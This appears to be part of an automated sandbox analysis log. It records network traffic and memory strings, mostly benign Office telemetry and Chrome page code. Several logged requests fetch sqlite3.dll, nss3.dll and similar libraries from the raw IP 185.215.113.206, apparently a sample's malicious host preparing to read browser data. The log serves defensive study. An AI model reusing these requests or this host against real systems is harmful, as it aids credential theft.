Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730889931&P2=404&P3=2&P4=imzUwU0j5p14g12vZLzz7jXFIfjrWQvws8ZGhRqDA6ktUW%2fsaRI4R%2bB3ALe24FQu%2fHl4axaNZ6EGOQetjPdKGA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: IIMKqaAyQ/pNGS05SCFVeHSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HzmNXPkHkS7mDpr&MD=NTW6bEu3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2249815985.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249929224.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249067758.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.2249815985.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249929224.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249067758.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) 